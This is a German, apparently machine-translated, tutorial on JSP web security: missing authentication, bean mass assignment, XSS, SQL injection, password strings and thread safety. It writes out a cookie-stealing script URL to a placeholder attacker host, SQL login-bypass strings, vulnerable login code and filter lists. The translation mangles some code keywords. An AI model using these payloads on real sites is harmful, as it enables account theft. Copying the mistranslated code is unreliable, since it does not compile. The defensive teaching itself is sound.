Java Server Page (JSP) erfreut sich als Technologie zur Erstellung dynamischer Webseiten immer größerer Beliebtheit. JSP, ASP und PHP verfügen über unterschiedliche Arbeitsmechanismen. Im Allgemeinen werden JSP-Seiten bei der Ausführung kompiliert und nicht interpretiert. Der erste Aufruf einer JSP-Datei ist eigentlich ein Prozess, bei dem sie in ein Servlet kompiliert wird. Wenn der Browser diese JSP-Datei vom Server anfordert, prüft der Server, ob sich die JSP-Datei seit der letzten Kompilierung geändert hat. Wenn keine Änderung vorliegt, wird das Servlet direkt ohne Neukompilierung ausgeführt verbessert.
Heute werde ich mit Ihnen die Sicherheit von JSP aus der Perspektive der Skriptprogrammierung betrachten. Sicherheitsrisiken wie die Offenlegung von Quellcode gehen über den Rahmen dieses Artikels hinaus. Der Hauptzweck des Schreibens dieses Artikels besteht darin, Freunde, die neu in der JSP-Programmierung sind, daran zu erinnern, von Anfang an das Bewusstsein für sichere Programmierung zu kultivieren, keine Fehler zu machen, die nicht gemacht werden sollten, und vermeidbare Verluste zu vermeiden. Darüber hinaus bin ich auch ein Anfänger. Wenn Sie Fehler oder andere Meinungen haben, posten Sie diese bitte und lassen Sie es mich wissen.
1. Lose Authentifizierung – Fehler auf niedriger Ebene
In der überarbeiteten Version von Yiyang Forum v1.12
ist user_manager.jsp eine vom Benutzer verwaltete Seite. Der Autor kennt seine Vertraulichkeit und fügt eine Sperre hinzu:
if ((session.getValue( „UserName“ )==null)││(session.getValue("UserClass")==null)││(! session.getValue("UserClass").equals("System Administrator")))
{
Response.sendRedirect("err.jsp?id=14");
zurückkehren;
}
Wenn Sie die Informationen eines Benutzers anzeigen und ändern möchten, müssen Sie die Datei „modifyuser_manager.jsp“ verwenden. Vom Administrator übermittelt
http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51
Es dient dazu, die Informationen des Benutzers mit der ID 51 anzuzeigen und zu ändern (die Standardbenutzer-ID des Administrators ist 51). Einem so wichtigen Dokument fehlt jedoch die Authentifizierung. Normale Benutzer (einschließlich Touristen) können die obige Anfrage direkt einreichen und haben einen klaren Überblick darüber (das Passwort wird ebenfalls im Klartext gespeichert und angezeigt). „modifyuser_manage.jsp“ ist ebenfalls geöffnet. Erst wenn der böswillige Benutzer den Datenaktualisierungsvorgang abschließt und zu „user_manager.jsp“ umleitet, wird ihm die Seite angezeigt, auf der der Fehler verspätet angezeigt wird. Offensichtlich reicht es nicht aus, nur eine Tür zu verschließen. Beim Programmieren müssen Sie sich die Mühe machen, an jeder Stelle, an der eine Identitätsauthentifizierung hinzugefügt werden soll, eine Identitätsauthentifizierung hinzuzufügen.
2. Behalten Sie den Eingang von JavaBean bei.
Der Kern der JSP-Komponententechnologie ist die Java-Komponente namens Bean. Im Programm können die Logiksteuerung und Datenbankoperationen in der Javabeans-Komponente platziert und dann in der JSP-Datei aufgerufen werden, was die Klarheit des Programms und die Wiederverwendbarkeit des Programms erhöhen kann. Im Vergleich zu herkömmlichen ASP- oder PHP-Seiten sind JSP-Seiten sehr einfach, da viele dynamische Seitenverarbeitungsprozesse in JavaBeans gekapselt werden können.
Um JavaBean-Eigenschaften zu ändern, verwenden Sie das Tag „<jsp:setProperty>“.
Der folgende Code ist Teil des Quellcodes eines imaginären elektronischen Einkaufssystems. Diese Datei wird verwendet, um die Informationen in der Einkaufsbox des Benutzers anzuzeigen, und checkout.jsp wird zum Auschecken verwendet.
<jsp:useBean id="myBasket" class="BasketBean">
<jsp:setProperty name="myBasket" property="*"/>
<jsp:useBean>
<html>
<head><title>Ihr Warenkorb</title></head>
<Körper>
<p>
Sie haben den Artikel hinzugefügt
<jsp::getProperty name="myBasket" property="newItem"/>
in Ihren Warenkorb.
<br/>
Ihr Gesamtbetrag beträgt $
<jsp::getProperty name="myBasket" property="balance"/>
Fahren Sie mit <a href="checkout.jsp">checkout</a> fort.
Ist Ihnen property="*" aufgefallen? Dies bedeutet, dass die Werte aller Variablen, die der Benutzer auf der sichtbaren JSP-Seite eingegeben oder direkt über die Abfragezeichenfolge übermittelt hat, in den entsprechenden Bean-Eigenschaften gespeichert werden.
Normalerweise senden Benutzer Anfragen wie diese:
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342
Aber was ist mit widerspenstigen Benutzern? Sie können Folgendes einreichen:
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342&balance=0
Auf diese Weise werden die Informationen von balance=0 in der JavaBean gespeichert. Wenn sie zum Bezahlen auf „Zur Kasse gehen“ klicken, entfällt die Gebühr.
Dies ist genau das gleiche Sicherheitsproblem, das durch globale Variablen in PHP verursacht wird. Daraus ist ersichtlich: „property="*"“ ist mit Vorsicht zu verwenden!
3. Der langlebige Cross-Site-Scripting-
Angriff (Cross-Site-Scripting) bezieht sich auf das manuelle Einfügen bösartiger JavaScript-, VBScript-, ActiveX-, HTML- oder Flash-Skripts in den HTML-Code einer Remote-WEB-Seite, um das Surfen auf dieser zu stehlen Privatsphäre der Benutzer ändern, Benutzereinstellungen ändern und Benutzerdaten vernichten. Cross-Site-Scripting-Angriffe wirken sich in den meisten Fällen nicht auf den Betrieb von Servern und WEB-Programmen aus, stellen jedoch eine ernsthafte Bedrohung für die Client-Sicherheit dar.
Nehmen Sie als einfachstes Beispiel das Acai-Forum (Beta-1) von Fangdong.com.
Wenn wirhttp://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script>alert(document.cookie)</script>
senden
,wird ein Dialogfeld mit unseren eigenen Cookie-Informationen angezeigt. Senden Sie
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script>document.location='http://www.163.com'</script>,
um zu NetEase weiterzuleiten.
Da das Skript bei der Rückgabe des Werts der Variablen „Name“ an den Client keine Kodierung oder Filterung von Schadcode durchführt, wird der Skriptcode auf dem ausgeführt, wenn der Benutzer auf den Datenlink zugreift, in den die Schadvariable „Name“ eingebettet ist Browser des Benutzers, was möglicherweise Konsequenzen wie den Verlust der Privatsphäre des Benutzers verursacht. Beispielsweise der folgende Link:
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script>document.location='http://www.hackersite.com/xxx.xxx?' +document .cookie</script>
xxx.xxx wird zum Sammeln der folgenden Parameter verwendet. Der Parameter hier gibt document.cookie an, das Cookie des Benutzers, der auf diesen Link zugreift. In der ASP-Welt beherrschen viele Menschen die Technik, Cookies zu stehlen. In JSP ist das Lesen von Cookies nicht schwierig. Natürlich beschränkt sich Cross-Site-Scripting nie auf die Funktion, Cookies zu stehlen. Ich glaube, jeder hat ein gewisses Verständnis dafür, daher werde ich hier nicht auf Details eingehen.
Alle Ein- und Ausgaben dynamischer Seiten sollten verschlüsselt werden, um Cross-Site-Scripting-Angriffe weitgehend zu vermeiden. Leider ist die Kodierung aller nicht vertrauenswürdigen Daten ressourcenintensiv und kann Auswirkungen auf die Leistung des Webservers haben. Eine gängige Methode besteht darin, Eingabedaten zu filtern. Der folgende Code ersetzt beispielsweise gefährliche Zeichen:
<% String message = request.getParameter("message");
message = message.replace ('<','_');
message = message.replace ('>','_');
message = message.replace ('"','_');
message = message.replace (''','_');
message = message.replace ('%','_'); [Neu gepostet von:51item.net]
message = message.replace (';','_');
message = message.replace ('(','_');
message = message.replace (')','_');
message = message.replace ('&','_');
message = message.replace ('+','_' %>
Eine positivere Möglichkeit besteht darin, reguläre Ausdrücke zu verwenden, um nur die Eingabe bestimmter Zeichen zu ermöglichen:
public boolean isValidInput(String str)
{
if(str.matches("[a-z0-9]+")) return true;
sonst gibt false zurück;
}
4. Denken Sie
beim Unterrichten von Anfängern immer an SQL-Injection. In allgemeinen Programmierbüchern wird nicht darauf geachtet, dass sie von Anfang an sichere Programmiergewohnheiten entwickeln. Das berühmte „JSP Programming Thoughts and Practices“ zeigt Anfängern, wie man ein Anmeldesystem mit einer Datenbank schreibt (die Datenbank ist MySQL):
Statement stmt = conn.createStatement();
String checkUser = "select * from login where username = '" + userName + "' and userpassword = '" + userPassword + "'";
ResultSet rs = stmt.executeQuery(checkUser);
if(rs.next())
Response.sendRedirect("SuccessLogin.jsp");
anders
Response.sendRedirect("FailureLogin.jsp");
Dies ermöglicht es Menschen, die an das Buch glauben, solche von Natur aus „löchrigen“ Anmeldecodes über einen längeren Zeitraum zu verwenden. Wenn in der Datenbank ein Benutzer namens „jack“ vorhanden ist, gibt es mindestens die folgenden Möglichkeiten, sich ohne Kenntnis des Passworts anzumelden:
Benutzername: jack
Passwort: ' oder 'a'='a
Benutzername: Jack
Passwort: ' oder 1=1/*
Benutzername: jack' oder 1=1/*
Passwort: (beliebig)
lybbs (Lingyun Forum) Version 2.9.Server überprüft die für die Anmeldung in LogInOut.java übermittelten Daten wie folgt:
if(s.equals("") ││ s1.equals(""))
throw new UserException("Benutzername oder Passwort dürfen nicht leer sein.");
if(s.indexOf("'") != -1 ││ s.indexOf(""") != -1 ││ s.indexOf(",") != -1 ││ s.indexOf(" \") != -1)
throw new UserException("Benutzername darf keine unzulässigen Zeichen wie ' " \ usw. enthalten.");
if(s1.indexOf("'") != -1 ││ s1.indexOf(""") != -1 ││ s1.indexOf("*") != -1 ││ s1.indexOf(" \") != -1)
throw new UserException("Das Passwort darf keine unzulässigen Zeichen wie ' " \ * enthalten.");
if(s.startsWith(" ") ││ s1.startsWith(" "))
throw new UserException("Leerzeichen können nicht im Benutzernamen oder Passwort verwendet werden.");
Aber ich weiß nicht, warum er nur Sternchen nach Passwörtern und nicht nach Benutzernamen filtert. Darüber hinaus sollten anscheinend auch Schrägstriche in die „schwarze Liste“ aufgenommen werden. Ich denke immer noch, dass es einfacher ist, reguläre Ausdrücke zu verwenden, um nur Zeichen innerhalb eines bestimmten Bereichs zuzulassen.
Hier ist Vorsicht geboten: Glauben Sie nicht, dass die inhärente „Sicherheit“ einiger Datenbanksysteme allen Angriffen effektiv widerstehen kann. Der Artikel „PHP-Injection-Beispiel“ von Pinkeyes ist eine Lektion für diejenigen, die sich auf „magic_quotes_gpc = On“ in der PHP-Konfigurationsdatei verlassen.
5. Versteckte Gefahren durch String-Objekte
Die Java-Plattform hat die Sicherheitsprogrammierung tatsächlich komfortabler gemacht. In Java gibt es keine Zeiger, was bedeutet, dass Java-Programme wie C keinen Speicherort im Adressraum mehr ansprechen können. Beim Kompilieren der JSP-Datei in eine .class-Datei werden Sicherheitsaspekte überprüft. So werden beispielsweise Versuche, auf Array-Elemente zuzugreifen, die die Array-Größe überschreiten, abgewiesen, wodurch Pufferüberlaufangriffe weitgehend vermieden werden. String-Objekte bringen jedoch einige Sicherheitsrisiken mit sich. Wenn das Passwort in einem Java-String-Objekt gespeichert ist, verbleibt es im Speicher, bis es von der Garbage Collection erfasst wird oder der Prozess beendet wird. Auch nach der Speicherbereinigung bleibt es im Heap des freien Speichers bestehen, bis der Speicherplatz wiederverwendet wird. Je länger der Passwort-String im Speicher verbleibt, desto größer ist die Gefahr des Abhörens. Schlimmer noch: Wenn der tatsächliche Speicher reduziert wird, speichert das Betriebssystem diese Kennwortzeichenfolge in den Auslagerungsbereich der Festplatte und ist somit anfällig für Abhörangriffe auf Festplattenblöcke. Um die Möglichkeit einer solchen Kompromittierung zu minimieren (aber nicht auszuschließen), sollten Sie das Passwort in einem char-Array speichern und es nach der Verwendung auf Null setzen (Strings sind unveränderlich und können nicht auf Null gesetzt werden).
6. Eine vorläufige Studie zur Thread-Sicherheit
„Was JAVA kann, kann JSP.“ Im Gegensatz zu Skriptsprachen wie ASP und PHP wird JSP standardmäßig im Multithread-Modus ausgeführt. Die Ausführung im Multithread-Verfahren kann den Ressourcenbedarf des Systems erheblich reduzieren und die Parallelität und Reaktionszeit des Systems verbessern. Threads sind unabhängige, gleichzeitige Ausführungspfade im Programm. Jeder Thread verfügt über einen eigenen Stapel, einen eigenen Programmzähler und eigene lokale Variablen. Obwohl die meisten Vorgänge in einer Multithread-Anwendung parallel ausgeführt werden können, gibt es einige Vorgänge, z. B. das Aktualisieren globaler Flags oder das Verarbeiten gemeinsam genutzter Dateien, die nicht parallel ausgeführt werden können. Wenn die Synchronisierung der Threads nicht gut gelingt, kommt es auch bei großen gleichzeitigen Zugriffen ohne die „begeisterte Beteiligung“ böswilliger Benutzer zu Problemen. Die einfachste Lösung besteht darin, der entsprechenden JSP-Datei die Anweisung <%@ page isThreadSafe="false" %> hinzuzufügen, um sie im Single-Thread-Verfahren auszuführen. Zu diesem Zeitpunkt werden alle Client-Anfragen seriell ausgeführt. Dies kann die Systemleistung erheblich beeinträchtigen. Wir können die JSP-Datei weiterhin im Multithread-Modus ausführen lassen und die Threads synchronisieren, indem wir die Funktion sperren. Eine Funktion plus das synchronisierte Schlüsselwort erwirbt eine Sperre. Schauen Sie sich das folgende Beispiel an:
öffentliche Klasse MyClass{
int a;
public Init() {//Diese Methode kann von mehreren Threads gleichzeitig aufgerufen werden a = 0;
}
public synchronisiert void Set() {//Zwei Threads können diese Methode nicht gleichzeitig aufrufen if(a>5) {
a= a-5;
}
}
}
Dies wird jedoch dennoch einen gewissen Einfluss auf die Leistung des Systems haben. Eine bessere Lösung besteht darin, lokale Variablen anstelle von Instanzvariablen zu verwenden. Da Instanzvariablen im Heap zugewiesen und von allen zur Instanz gehörenden Threads gemeinsam genutzt werden, sind sie nicht threadsicher, während lokale Variablen im Stapel zugewiesen werden, da jeder Thread über einen eigenen Stapelspeicherplatz verfügt und somit threadsicher ist. . Zum Beispiel der Code zum Hinzufügen von Freunden im Lingyun-Forum:
public void addFriend(int i, String s, String s1)
löst eine DBConnectException aus
{
versuchen
{
Wenn……
anders
{
DBConnect dbconnect = new DBConnect("in Freunde (Autor-ID,Freundname)-Werte einfügen (?,?)");
dbconnect.setInt(1, i);
dbconnect.setString(2, s);
dbconnect.executeUpdate();
dbconnect.close();
dbconnect = null;
}
}
Catch(Ausnahme Ausnahme)
{
throw new DBConnectException(Exception.getMessage());
}
}
Das Folgende ist der Aufruf:
friendsName=ParameterUtils.getString(request,"friendname");
if(action.equals("adduser")) {
forumFriend.addFriend(Integer.parseInt(cookieID),friendName,cookieName);
errorInfo=forumFriend.getErrorInfo();
}
Wenn eine Instanzvariable verwendet wird, wird die Instanzvariable von allen Threads der Instanz gemeinsam genutzt. Es ist möglich, dass sein Thread nach der Übergabe eines bestimmten Parameters in den Ruhezustand wechselt und der Parameter versehentlich von Benutzer B geändert wird. Verursacht das Phänomen der Nichtübereinstimmung von Freunden.